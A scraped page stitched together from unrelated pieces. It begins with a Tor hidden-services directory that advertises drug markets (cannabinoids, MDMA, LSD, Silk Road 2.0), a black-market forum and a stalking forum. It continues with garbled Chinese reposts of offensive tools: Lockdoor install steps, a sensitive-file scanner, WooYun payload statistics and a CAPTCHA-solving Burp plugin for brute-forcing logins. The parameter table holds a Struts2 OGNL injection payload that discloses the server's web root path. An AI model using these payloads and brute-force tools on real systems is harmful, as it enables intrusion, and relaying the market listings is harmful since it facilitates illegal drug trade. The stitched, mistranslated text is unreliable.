• Liberty’s Hackers – Liberty’s Hackers & French Deep Web Wiki – sharing everything.
• French Deep Web – an administered and moderate French board (1er forum francophone).
• Trollodrôme – Forum non modéré.
• Le Conseil de la Vouivre – Mysterious French website
• Le Tesseract – Club occulte, de retour après quelques années de silence!

German / Deutsch

• konkret – das linke Magazin: Archiv.
• MadIRC – Deutscher IRC-Channel.

Greek / ελληνικά

Italian / Italiano

• BlackHost – A small website developed by an Italian programmer.
• New System Disorder – Italian Hackers Community – Stay Tuned!
• IDC Reloaded – Italian DarkNet Community – Canale IRC

Japanese / 日本語

• OnionChannel – Onion Channel, a system similar to 2channel.
• Japan Hidden Wiki – Links to Japan onions.

Korean / 한국어

• Korean Hidden Wiki – 한국어 히든 위키 페이지입니다. [internal link]

Chinese / 中国語

• 中文论坛 – 中文论坛

Polish / Polski

• Teczkohen – powrót obrazkowego forum o tematyce stalking.
• Polska Ukryta Wiki – polski odpowiednik THW.
• Cebulka Najstarsze działające polskie forum.
• Dimension X Ukryta baza Krang w sieci Tor!

Russian / Русский

• Reunion Wiki – Russian Wiki/Русский OnionLand
• Зеркало библиотеки Траума – Бесплатная библиотека. Обложки, поиск и возможность скачивать в форматах FB2, HTML и TXT.
• РосПравосудие – крупнейшая картотека юристов, адвокатов, судей и судебных решений (50+ миллионов документов, 35+ тысяч судей, 65+ тысяч адвокатов, сотни тысяч юристов, прокуроры). «РосПравосудие» – аполитичный и независимый проект.
• China Market – китайский маркет. Всегда свежие поставки из Китая: каннабиноиды, MDMA кристаллы, экстази, LSD. Доставка без пересечения границы, есть представители в России, Украине и Казахстане. Автоматическое оформление, оплата и получение заказа. Методы оплаты: Bitcoin, Qiwi, Приват24, наличкой через терминалы.
• Rutor – главный форум черного рынка.
• Схоронил! Архив magnet-ссылок.
• Флибуста – Библиотека.

Spanish / Español

• CebollaChan 3.0 – CebollaChan, el tor-chan en Castellano.
• TorPez – Foro de seguridad informatica entre otras cosas.

Portuguese / Português

• Tudo Sobre Magia e Ocultismo – Site sobre Magia,Ocultismo,Esoterismo e Mitologia.
• [1] – Terminal Internet Livre – Internet Freedom for Portuguese-speakers.

Swedish / Svenska

• KognitionsKyrkan, clearnet – Spiritual stuff.
• Moral.Nu, clearnet – Vad r moral?

Hidden Services – Other Protocols

Volunteers last verified that all services in this section were up, or marked as DOWN, on: 2011-06-08 For configuration and service/uptime testing, all services in this section MUST list the active port in their address. Exception: HTTP on 80, HTTPS on 443. For help with configuration, see the TorifyHOWTO and End-to-end connectivity issues.

P2P FileSharing

Running P2P protocols within Tor requires OnionCat. Therefore, see the OnionCat section for those P2P services. IMPORTANT: It is possible to use Tor for P2P. However, if you do, the right thing must also be done by giving back the bandwidth used. Otherwise, if this is not done, Tor will be crushed taking everyone along with it.

• The Pirate Bay – The Pirate Bay.

Chat centric services

Some people and their usual server hangouts may be found in the Contact Directory.

IRC

Use e.g. ChatZilla add-on for the IRC protocol (the Tor Project does not suggest installing browser addons unless you understand the risks), or a standalone client such as HexChat. Tails comes with Pidgin, which will work for IRC as well.

• Agora Anonymous – Agorist IRC server

plaintext ports: 6667

• ANYChat

plaintext ports: 6667; ssl: 6697

• DeepIRC

plaintext ports: 6667

• Federation: OnionNet – IRC network comprised of:
  • onionirczesfffux.onion:6667 Juppi IRC – Juppi’s IRC server.
  • onionirccaaakegi.onion:6667 Juppi IRC (old ___) – Juppi’s other IRC server.
  • onionirc2udqrqpo.onion:6667 YankeeGuy IRC – YankeeGuy’s IRC server.
• FreedomIRC – gopher or http
  • irc.freedom.net (alt link)
    plaintext ports: 6667
• FREEFOR – FREEdom FORces – see Political Advocacy
• hackint – hackint is a communication network for the hacker community.

running on lechuck.hackint.org; ssl ports: 9999; no plaintext ports

• HeavyCrypto – HeavyCrypto IRC

ssl ports: 6697; no plaintext ports

• KeratNet – Kerat

plaintext ports: 6667; ssl: 6697

• KillYourIRC – onion for irc.killyourtv.i2p

plaintext ports: 6667; ssl: 9999

• Nazgul – free for all IRC network

plaintext ports: nazgul3zxuzvrgg6.onion:6667 ssl ports: irc.nazgul.io:6697 __undefined__ (SSL)

• OnionIRC – New, censorship-free IRC server.

plaintext ports: 6668

• OpenSource, info – Drug chat
• public.ronsor-router.lan – Freelinking server owned by Ronsor

plaintext ports: 6667; SSL ports: 6697

• Smokey’s Grill – General chat IRC. Doesn’t allow plotting the abuse of other people.

plaintext ports: 6667

• Volatile – we back
  • irc.krustykrab.restaurant – owned by wowaname
    plaintext ports: 6667, 7777; ssl: 6697, 9999.
  • kitsune6uv4dtdve.onion – owned by wowaname
    plaintext ports: 6667, 7777; ssl: 6697, 9999.

• Anonimowy IRC – Anonimowy IRC (Polish anonymous IRC server) __undefined__

plaintext ports: 6667; ssl:6697

• hackint – Old hidden service?
• irc2p onion gateways:
  • irc.echelon.i2p – Gateway provided by chisquare / psi of All You’re Base
  • irc.postman.i2p
• NeoturbineNET IRC – NeoturbineNET IRC server

running on kropotkin.computersforpeace.net; ssl ports: 6697; no plaintext ports

• OFTC IRC – OFTC – unofficial hidden service for OFTC

running on: (various).oftc.net, ports:: plaintext: 6667 ssl: 6697

• prooops.eu IRC – prooops.eu IRC (Clearnet http://irc.prooops.eu/)

plaintext ports: 6667; ssl: 6697

• WANNABE: Federation OnionNet :
  • New Ngircd – Yep this is a new ircd in OnionLands looking for peering in OnionNet
• freenode IRC – requires SASL authentication to an already existing NickServ account
  • 2hktdmgt6bg2hjuc.onion
  • frxleqtzgvwkv7oz.onion
  • l4wvhvf666nifnpg.onion
  • p4fsi4ockecnea7l.onion
  • p567hbjdstqvg7xw.onion
  • vgh6tbfjk65zj5ep.onion

All of these direct to zelazny.freenode.net and allow plaintext port 6667 as well as SSL ports 6697, 7000, and 7070.

SILC

• fxb4654tpptq255w.onion:706 – SILCroad, public server. [discuss/support]
• <protect>Silkroad 2.0 – The new silkroad. Biggest marketplace for drugs on the Darknet. (Bitcoin)</protect>
• kissonmbczqxgebw.onion:10000 – KISS.onion – Keep It Simple and Safe – ditch the web browser, use SILC to communicate securely (using Pidgin with OTR)

XMPP (formerly Jabber)

• xmpp:tortureregex47xf.onion:5222 – Public XMPP with MUC (multi user chat) enabled. No Child Porn and racism here, any breach will result in a ban. Maintained by Creative Hack
• xmpp:okj7xc6j2szr2y75.onion:5222 – xmpp:jabber.ccc.de:5222 as a hidden service
• xmpp:libertygb2nyeyay.onion:5222 – instant messager for Liberty’s Hackers – chat room for Liberty’s Hackers and french users – chat room for international sharing – Create your own public or private MUC – federation onion activated – No CP and no Racism please – web clients : https://libertygb2nyeyay.onion:5281/candy http://libertyy56ecbupa.onion/im/jappix/
• xmpp:cyjabr4pfzupo7pg.onion:5222 – CYRUSERV Community Jabber, a public server ran by CYRUSERV.

TorChat Addresses

Humans are listed in the above contact directory. Bots are listed below.

• 7oj5u53estwg2pvu.onion:11009 – TorChat InfoServ #2nd, by ACS.
• gfxvz7ff3bzrtmu4.onion:11009 – TorChat InfoServ #1st, by ACS…

SFTP – SSH File Transfer Protocol

These SFTP clients work with Tor: WinScp, FileZilla. Set proxy to SOCKS5, host 127.0.0.1, port 9150 (Windows,Mac) or 9050 (Linux). Encrypt your sensitive files using GnuPG before uploading them to any server.

• kissonmbczqxgebw.onion:10001 – KISS.onion – SFTP file exchange service (username “sftp.anon”, password “anon”)

OnionCat Addresses

List of only the Tor-backed fd87:d87e:eb43::/48 address space, sorted by onion. There are instructions for using OnionCat, Gnutella, BitTorrent Client, and BitTorrent Tracker.

• 62bwjldt7fq2zgqa.onion:8060
  • fd87:d87e:eb43:f683:64ac:73f9:61ac:9a00 – ICMPv6 Echo Reply
• a5ccbdkubbr2jlcp.onion:8060 – mail.onion.aio
  • fd87:d87e:eb43:0744:208d:5408:63a4:ac4f – ICMPv6 Echo Reply
• ce2irrcozpei33e6.onion:8060 – bank-killah
  • fd87:d87e:eb43:1134:88c4:4ecb:c88d:ec9e – ICMPv6 Echo Reply
  • [fd87:d87e:eb43:1134:88c4:4ecb:c88d:ec9e]:8333 – Bitcoin Seed Node
• taswebqlseworuhc.onion:8060 – TasWeb – DOWN 2011-09-08
  • fd87:d87e:eb43:9825:6206:0b91:2ce8:d0e2 – ICMPv6 Echo Reply
  • http://[fd87:d87e:eb43:9825:6206:0b91:2ce8:d0e2]/
  • gopher://[fd87:d87e:eb43:9825:6206:0b91:2ce8:d0e2]:70/
• vso3r6cmjoomhhgg.onion:8060 – echelon
  • fd87:d87e:eb43:ac9d:b8f8:4c4b:9cc3:9cc6 – ICMPv6 Echo Reply

Bitcoin Seeding

Instructions

• xqzfakpeuvrobvpj.onion:8333
• z6ouhybzcv4zg7q3.onion:8333

Dead Hidden Services

Do not simply remove services that appear to be offline from the above list! Services can go down temporarily, so we keep track of when they do and maintain a list of dead hidden services.

• In addition to an onion simply being gone (Tor cannot resolve the onion), sites that display 404 (and use a known onion/URL based hosting service) are the only other thing that is considered truly DOWN. Presumably the account is gone.

1. If a service has been down for a while, tag it with ‘ – DOWN YYYY-MM-DD’ (your guess as to when it went down).
2. If a tagged service on the above list of live hidden services has come back up, remove the DOWN tag.
3. If a tagged service is still down after a month, please move it (along with the DOWN tag) to the list of dead hidden services.

• The general idea of the remaining four service states below is that, if the Hidden Service Descriptor is available, and something is responding behind it… the service is considered up, and we track that fact on the Main Page. If any of these subsequently go offline, append the DOWN tag and handle as above.

1. Hello world’s / statements, minimal sites, services with low user activity, etc (while boring)… are listed as usual.
2. Broken services are those that display 404 (and do not use a known hosting service), PHP or other errors (or they fail silently)… any of which prevent the use of the service as intended. They also include blank pages, empty dirs and neglected status notes. Presumably the operator is in limbo. Broken services are tagged with ‘ (reason) – Broken YYYY-MM-DD’ (your guess as to when it went broken)
3. Services that automatically redirect to another service (such as by HTTP protocol or script), have their redirection destinations noted in their descriptions. These are tagged with ‘ – Redir YYYY-MM-DD’ (your guess as to when it went redir)
4. Sites that are formally closed via announcement are tagged with ‘ – Closed YYYY-MM-DD’ (your guess as to when it went closed.

• Is Online that HiddenService? This service is very useful in determining whether onions are up or not. It also gives a reason why they are down.

Sites on this list that have no chance of coming back (LE takedowns, dead for some time) should be archived to page dead services just in case they should ever be needed.

LockDoor是一个旨在帮助渗透测试人员、漏洞赏金猎人和网络安全工程师的框架。这个工具是基于Debian/Ubuntu/ArchLinux的发行版设计的，目的是为渗透测试创建一个相似且熟悉的发行版。但包含了渗透测试人员最喜欢和最常用的工具。作为渗透测试人员，我们大多数人都有自己的“/pentest/”目录，所以这个框架可以帮助您构建一个完美的目录。总之,它能自动进行渗透测试的过程，帮助你更快更轻松地完成工作。
项目地址:github

该渗透测试框架可以在下列平台中运行:

Docker 安装方法:

安装要求 :

sudo apt install docker < Debian-based distributions
sudo dnf install docker < RPM-based distributions
sudo pacman -S docker < Arch-based distributions
sudo zypper install docker < OS-based distributions
sudo yum install docker < RH-based distributions

使用lockdoor的docker版本 :

①:拉取lockdoor的docker镜像:

sudo docker pull sofianehamlaoui/lockdoor

②: Run fresh Docker container:

sudo docker run -it --name lockdoor-container -w /home/Lockdoor-Framework --net=host sofianehamlaoui/lockdoor

③ :To re-run a stopped container:

sudo docker start -i sofianehamlaoui/lockdoor

④: To open multiple shells inside the container:

sudo docker exec -it lockdoor-container bash

自动安装方式:

git clone https://github.com/SofianeHamlaoui/Lockdoor-Framework.git && cd Lockdoor-Framework
chmod +x ./install.sh
./install.sh

手动安装方式:

①:安装必要的环境

python python-pip python-requests python2 python2-pip gcc ruby php git wget bc curl netcat subversion jre-openjdk make automake gcc linux-headers gzip

②:开始安装:

wget https://dl.google.com/go/go1.13.linux-amd64.tar.gz
tar -xvf go1.13.linux-amd64.tar.gz
mv go /usr/local
export GOROOT=/usr/local/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
rm go1.13.linux-amd64.tar.gz

③: 安装Lockdoor :

# 克隆/拉取
git clone https://github.com/SofianeHamlaoui/Lockdoor-Framework.git && cd Lockdoor-Framework
# 创建配置文件
# 安装目录 = 你想要安装Lockdoor的目录 (例如 : /opt/sofiane/pentest)
echo "Location:"$installdir > $HOME"/.config/lockdoor/lockdoor.conf"
# 移动资源文件夹
mv ToolsResources/* INSTALLDIR
# 从PyPi安装 Lockdoor
pip3 install lockdoor

Lockdoor工具内容 🛠️ :

信息收集 🔎 :

• 工具:
  • dirsearch: Web路径扫描仪
  • brut3k1t:安全bruteforce框架
  • VHost gobuster: DNS和破坏工具编写的
  • Enyx: SNMP IPv6枚举的工具
  • Goohak:展开Google黑客查询目标域
  • Nasnum: NAS枚举器
  • Sublist3r:快速子域枚举渗透测试人员的工具
  • wafw00f:指纹识别和Web应用程序防火墙
  • 光子:ncredibly快速履带为OSINT而设计的。
  • 浣熊:进攻侦察和漏洞扫描的安全工具
  • DnsRecon: DNS枚举脚本
  • Nmap:著名的安全扫描仪,端口扫描器,&网络探索的工具
  • 夏洛克:找到用户名在社交网络
  • snmpwn: SNMPv3用户枚举器和攻击工具
  • 前锋:进攻信息和漏洞扫描器。
  • 要为:电子邮件、子域和名字收割机
  • URLextractor:信息收集与网站侦察
  • denumerator。 py:列举了子域的列表
  • 其他:其他信息收集、侦察和枚举脚本收集。
• 框架:
  • ReconDog:侦察瑞士军刀
  • RED_HAWK:所有信息收集在一个工具,漏洞扫描和爬行
  • Dracnmap:信息收集框架

web黑客 🌐 :

• 工具:
  • 意大利面:意大利面- Web应用程序安全扫描器
  • CMSmap: CMS扫描
  • BruteXSS: BruteXSS发现XSS漏洞在web应用程序的一个工具
  • 从Bing J-dorker:网站列表打捞工具了
  • droopescan:扫描仪、识别、cms Silverstripe Drupal。
  • Scanne Optiva: Web应用程序
  • 其中V3n0M:扫描仪在Python3.6 SQLi / XSS / LFI / RFI和其他Vulns
  • AtScan:先进的码头搜索&质量利用扫描仪
  • WPSeku: WordPress安全扫描器
  • Wpscan:一个简单的Wordpress扫描仪用python编写的
  • XSStrike:最先进的XSS扫描仪。
  • 收购Sqlmap:自动SQL注入和数据库工具
  • WhatWeb:下一代网络扫描仪
  • joomscan: Joomla漏洞扫描器的项目
• 框架:
  • Dzjecter:服务器检查工具

提权 ⚠️ :

• 工具:
  • Linux 🐧 :
    • 脚本:
      • linux_checksec.sh
      • linux_enum.sh
      • linux_gather_files.sh
      • linux_kernel_exploiter.pl
      • linux_privesc.py
      • linux_privesc.sh
      • linux_security_test
    • Linux_exploits文件夹
  • 窗户 :
    • windows-privesc-check.py
    • windows-privesc-check.exe
  • MySql:
    • raptor_udf.c
    • raptor_udf2.c

逆向工程 ⚡:

• Radare2:类unix逆向工程框架
• VirtusTotal: VirusTotal工具
• Miasm:逆向工程框架
• 镜子:改变文件的字节
• DnSpy: . net调试器和组装
• AngrIo: python框架分析二进制文件(由@Hamz-a建议)
• DLLRunner:一个聪明的DLL在沙箱中执行脚本的恶意软件分析系统。
• 模糊服务器:一个程序,使用预制飙升VulnServer脚本攻击。
• 雅苒:恶意软件工具旨在帮助研究人员toidentify和恶意软件样本进行分类
• 高峰:创造一个协议fuzzer装备+审计
• 其他:其他脚本收集

Exploitation ❗:

• Findsploit:立即发现利用本地和在线数据库
• Pompem:利用和漏洞发现者
• rfix: Python工具帮助RFI剥削。
• InUrlBr:高级搜索搜索引擎
• 为安全测试与扫描Burpsuite:打嗝套件。
• linux-exploit-suggester2:下一代Linux内核开发方式
• 其他:其他脚本我收集。

shells🐚 :

• 网站管理权限:BlackArch网站管理权限集合
• ShellSum:防御工具,检测本地目录中的web壳
• Weevely: web壳武器化
• python-pty-shells: Python企业后门

密码攻击 ✳️ :

• 一个单词表紧缩:发电机
• CeWL:自定义单词表生成器
• patator:一个多用途的蛮力,模块化设计和灵活的使用

加密-解密 🛡️ :

• Codetective:一个工具来确定加密/编码算法
• findmyhash: Python脚本裂缝散列使用在线服务

社会工程 🎭 :

• 长柄大镰刀:一个账户枚举器

Lockdoor资源内容 📚 :

信息收集 🔎 :

• Cheatsheet_SMBEnumeration
• configuration_management
• dns_enumeration
• file_enumeration
• http_enumeration
• information_gathering_owasp_guide
• miniserv_webmin_enumeration
• ms_sql_server_enumeration
• nfs_enumeration
• osint_recon_ng
• passive_information_gathering
• pop3_enumeration
• ports_emumeration
• rpc_enumeration
• 扫描
• smb_enumeration
• smtp_enumeration
• snmb_enumeration
• vulnerability_scanning

加密 🛡️ :

• Crypto101.pdf

Exploitation ❗:

• computer_network_exploits
• file_inclusion_vulnerabilities
• File_Transfers
• nc_transfers
• networking_pivoting_and_tunneling
• network_pivoting_techniques
• 绕轴旋转
• pivoting_
• 公众利用
• reverse_shell_with_msfvenom

网络 🖧:

• bpf_syntax
• Cheatsheet_Networking
• Cheatsheet_Oracle
• networking_concept
• nmap_quick_reference_guide
• tcpdump

密码攻击 ✳️ :

• password_attacks
• Some-Links-To-Wordlists

Post Exploitation  ❗❗:

• Cheatsheet_AVBypass
• Cheatsheet_BuildReviews
• code-execution-reverse-shell-commands
• important-linux-serv-files

特权升级 ⚠️ :

• Cheatsheet_LinuxPrivilegeEsc
• linux_enumeration
• windows_enumeration
• windows_priv_escalation
• windows_priv_escalation_practical

其中与安全评估结果报告模板 📝 :

• 发现Report.docx演示公司——安全评估
• linux-template.md
• PWKv1-REPORT.doc
• pwkv1_report.doc
• template-penetration-testing-report-v03.pdf
• windows-template.md
• OSCP-OS-XXXXX-Lab-Report_Template3.2.docx
• OSCP-OS-XXXXX-Exam-Report_Template3.2.docx
• CherryTree_template.ctb

逆向工程 ⚡:

• Buffer_Overflow_Exploit
• buffer_overflows
• gdb_cheat_sheet
• r2_cheatsheet
• win32_buffer_overflow_exploitation
• 64年_ia_32_jmp_instructions
• course_notes
• 调试
• IntelCodeTable_x86
• Radare2小抄
• x86_assembly_x86_architecture
• x86_opcode_structure_and_instruction_overview

社会工程 🎭 :

• social_engineering

行走次数 🚶 :

• Cheatsheet_PenTesting.txt
• v4 OWASP测试指南
• OWASPv4_Checklist.xlsx

网络黑客 🌐 :

• auxiliary_info.md
• Cheatsheet_ApacheSSL
• Cheatsheet_AttackingMSSQL
• Cheatsheet_DomainAdminExploitation
• Cheatsheet_SQLInjection
• Cheatsheet_VulnVerify.txt
• code-execution-reverse-shell-commands
• file_upload.md
• html5_cheat_sheet
• jquery_cheat_sheet_1.3.2
• sqli
• sqli_cheatsheet
• sqli-quries
• sqli-tips
• web_app_security
• web_app_vulns_Arabic
• Xss_1
• Xss_2
• xss_actionscript
• xxe

其他 📚 :

• 安全 
  • 最好的版本BriskSec安全备忘单:
• 图像(我会让你发现)
• Google黑客数据库
• 谷歌傅

# !/usr/local/bin/python3
# -*- coding:utf-8 -*-
__author__ = 'jerry'

from collections import defaultdict
import sys
import json

from lib.common.basic import getExtension, getDomain
from lib.third.nyawc.Crawler import Crawler
from lib.third.nyawc.CrawlerActions import CrawlerActions
from lib.third.nyawc.Options import Options
from lib.third.nyawc.http.Request import Request
from lib.utils.extension import IGNORED_EXTESIONS, EXCEL_EXTENSIONS, WORD_EXTENSIONS, PDF_EXTENSIONS

import config


class LinksCrawler():

测试效果如下:

使用步骤:

安装:

# 下载
git clone https://github.com/jerrychan807/WSPIH.git

# 进入项目目录
cd WSPIH

# 安装依赖模块
pip3 install -r requirements.txt

# 修改配置文件(若不修改,则使用默认配置)
vi config.py

开始扫描:

# 使用
python3 SensitivesHunter.py 目标文件 结果文件夹

# 示例
python3 SensitivesHunter.py targets/http-src-1-100.txt src

查看结果:

如果有扫出敏感文件…

单个结果:

• 每个目标的结果会保存在 结果文件夹/对应域名 下.
• 会保留有问题的敏感文件
• 文件链接file_links.json、敏感结果result.json

汇总结果:

# 输出最终汇总的结果
python3 CombineResult.py 结果文件夹

# 示例
python3 CombineResult.py src

• 查看最终合并的结果:all_result.txt

下载地址①: https://www.lanzous.com/i89g4vi
下载地址②:https://github.com/boy-hack/wooyun-payload/releases
项目地址:github

插件安装方式参考下面的页面

来自于一个小的想法，我们能否从一个http数据包获取一些历史漏洞来辅助？例如获得该域名的历史漏洞，获得URL相同路径的历史漏洞，以及URL各个参数的历史漏洞。于是爬了下乌云镜像，通过正则收集链接，又整理了其他各种信息，原本想存到数据库，但最后数据也不大，汇总到了一个json文件中。ps:正则收集的链接数据很重要，有的网页并不是直接给出了一个url，有的是一个http请求包，有的是sqlmap的信息，所以用了多个正则来处理，大概手动确定能处理100来个网页，才将全部的链接整理出来了。

burp插件

然后写了一个burp插件，用来辅助寻找http请求包中域名，路径，参数等获取乌云历史漏洞中类似的数据。

Payload排名Top

既然已经将wooyun中的一些url抓取出来，不如来统计一些常用的字典来丰富一下字典？

出现漏洞的端口Top100

最后得到的端口数量在1104，说明在端口扫描时，只需要扫描这一千端口就行，很大节省了效率。

ASP Top100

ASPX Top100

Jsp Top100

PHP Top100

Action Top100

目录Top100

get参数Top100

因为无法通过自动化程序把存在漏洞的参数提取出来，所以只是暴力的把所有url的参数都提取了出来，所以这些top参数不一定有代表性，但作为字典应该是不错的。

参数	出现次数
id	6845
action	1643
type	1503
m	1013
a	992
c	855
act	829
page	813
uid	616
url	585
method	545
cid	545
ID	528
mod	521
aid	490
keyword	474
key	449
t	449
q	444
callback	427
sid	426
s	421
name	407
tid	399
pid	392
code	354
r	316
p	307
file	301
Type	294
do	294
redirect	292
username	291
_	278
op	259
filename	252
path	251
from	230
classid	227
f	222
fid	221
app	213
cmd	213
typeid	203
_FILES	201
ac	194
title	192
fileName	191
userid	190
v	189
flag	176
catid	170
Connector	166
bid	158
order	150
wd	150
mid	150
lang	145
nid	143
city	142
CurrentFolder	139
newsid	138
Command	137
password	131
d	128
source	127
sort	126
user	125
token	122
module	120
class	118
userId	115
dir	113
ie	111
Id	108
pwd	107
num	106
email	103
appid	102
u	102
mobile	102
i	102
keywords	100
version	100
status	99
gid	99
typeArr	96
g	96
service	95
o	95
ArticleID	94
query	94
filePath	94
orderId	94
redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D	93
category	92
word	92
user_id	92
k	91
channel	90

post参数Top100

Cookie参数Top100

下载地址①: https://www.lanzous.com/i89g4vi
下载地址②:https://github.com/boy-hack/wooyun-payload/releases
项目地址:github

reCAPTCHA( REcognize CAPTCHA )自动识别图形验证码并用于burp intruder爆破模块的插件

下载地址①蓝奏云: https://www.lanzous.com/i89wa9i
下载地址②github:github.com/bit4woo/reCAPTCHA/releases
项目地址:https://github.com/bit4woo/reCAPTCHA

使用

安装：

1. 下载插件。
2. 将它添加到burp。如果没有遇到错误，你将看到一个新的名为“reCAPTCHA”的tab。

准备：

1. 通过burp代理访问目标网站的登录界面。
2. 在proxy中找到获取图形验证码的请求，选中它并点击右键选择“Send to reCAPTCHA”，这个请求的信息将被发送到reCAPTCHA。

3.切换到reCAPTCHA标签，并配置所需的参数。当参数配置好后，你可以点击“请求”按钮来测试配置。